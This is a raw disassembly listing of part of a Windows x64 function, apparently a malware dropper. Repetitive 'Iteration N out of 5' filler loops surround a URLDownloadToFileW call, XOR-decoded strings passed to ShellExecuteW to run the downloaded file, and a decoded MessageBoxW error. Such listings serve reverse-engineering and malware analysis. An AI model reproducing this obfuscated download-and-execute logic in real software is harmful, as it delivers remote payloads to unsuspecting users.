inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d430
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d480
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d4d0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d520
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d570
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d5c0
mov rax, qword [rbp + 0x588]
lea r8, [rbp + 0x110]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov rdx, qword [rax + r14*8]
call sub.urlmon.dll_URLDownloadToFileW
mov edi, eax
xor ebx, ebx
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d630
xor ebx, ebx
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d680
xor ebx, ebx
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d6d0
test edi, edi
js 0x14000dc4d
xor edi, edi
mov ebx, edi
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d730
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d780
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d7d0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d820
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d870
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d8c0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d910
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rsi*8]
mov eax, 0x190
mov edx, eax
mov eax, dword [rax + rcx]
test al, 1
jne 0x14000da18
movups xmm0, xmmword [0x140047aa0]
or eax, 1
lea r8, [rsp + 0x5c]
mov dword [rdx + rcx], eax
lea r9, [rsp + 0x50]
mov eax, r13d
lea r10, [rsp + 0x52]
add rax, rcx
movaps xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140047ab0]
lea r11, [rsp + 0x54]
xor ecx, ecx
movsd qword [rsp + 0x60], xmm0
sub r8, rax
lea rbx, [rsp + 0x56]
mov qword [rax], rdi
sub r9, rax
mov word [rax + 8], di
sub r10, rax
mov byte [rax + 0xa], dil
sub r11, rax
mov qword [rax + 0xc], rcx
mov edx, edi
mov word [rax + 0x14], cx
sub rbx, rax
lea rcx, [rax + 0xe]
movzx eax, word [rcx + r8 - 0xe]
add edx, 5
mov word [rcx - 2], ax
movzx eax, word [r9 + rcx]
mov word [rcx], ax
movzx eax, word [r10 + rcx]
mov word [rcx + 2], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 4], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 6], ax
lea rcx, [rcx + 0xa]
cmp edx, 5
jb 0x14000d9e0
mov rax, qword gs:[0x58]
mov r8d, r13d
add r8, qword [rax + rsi*8]
cmp byte [r8 + 0xa], dil
jne 0x14000da43
mov edx, edi
movsxd rcx, edx
lea eax, [rdx + 0x7c]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 5
jb 0x14000da30
mov byte [r8 + 0xa], 1
lea rdx, [r8 + 0xc]
lea r8, [rbp + 0x110]
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ebx, edi
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000da70
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dac0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000db10
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000db60
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dbb0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dc00
jmp 0x14000e388
xor edi, edi
mov ebx, edi
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dc51
mov ebx, edi
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dca0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dcf0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dd40
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dd90
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dde0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000de30
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000de80
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ded0
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rsi*8]
mov eax, 0x208
mov edx, eax
mov eax, dword [rax + rcx]
test al, 1
jne 0x14000dfe3
movups xmm0, xmmword [0x140047b08]
or eax, 1
lea r8, [rbp - 0x34]
mov dword [rdx + rcx], eax
lea r9, [rbp - 0x40]
mov edx, edi
mov eax, 0x1f0
add rax, rcx
movaps xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x140047b18]
lea r10, [rbp - 0x3e]
xor ecx, ecx
movsd qword [rbp - 0x30], xmm0
lea r11, [rbp - 0x3c]
sub r8, rax
mov qword [rax], rdi
lea rbx, [rbp - 0x3a]
mov word [rax + 8], di
sub r9, rax
mov byte [rax + 0xa], dil
sub r10, rax
mov qword [rax + 0xc], rcx
lea rdi, [rbp - 0x38]
sub r11, rax
mov dword [rax + 0x14], ecx
sub rbx, rax
lea rcx, [rax + 0xe]
sub rdi, rax
movzx eax, word [rcx + r8 - 0xe]
add edx, 6
mov word [rcx - 2], ax
movzx eax, word [r9 + rcx]
mov word [rcx], ax
movzx eax, word [r10 + rcx]
mov word [rcx + 2], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 4], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 6], ax
movzx eax, word [rdi + rcx]
mov word [rcx + 8], ax
lea rcx, [rcx + 0xc]
cmp edx, 6
jb 0x14000dfa1
xor edi, edi
mov rax, qword gs:[0x58]
mov r8d, 0x1f0
add r8, qword [rax + rsi*8]
cmp byte [r8 + 0xa], 0
jne 0x14000e013
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx + 0x7d]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 6
jb 0x14000e000
lea rcx, [rbp + 0x598]
mov byte [r8 + 0xa], 1
lea r11, [r8 + 0xc]
call fcn.1400074b0
cmp byte [rax + 0xa], 0
jne 0x14000e046
mov r9d, edi
movsxd rdx, r9d
lea ecx, [r9 + 0x7c]
inc r9d
xor word [rax + rdx*2 + 0xc], cx
cmp r9d, 0x1d
jb 0x14000e031
mov rcx, qword [rbp + 0x580]
lea rdx, [rax + 0xc]
mov r9d, 0x10
mov byte [rax + 0xa], 1
mov r8, r11
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e070
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e0c0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e110
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e160
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e1b0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e200
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e250
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e2a0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e2f0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e340
inc r15d
inc r14
mov dword [rbp + 0x598], r15d
mov qword [rbp - 0x50], r14
cmp r14, r12
jl 0x14000ce30
mov r15, qword [rsp + 0x638]
add rsp, 0x640
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret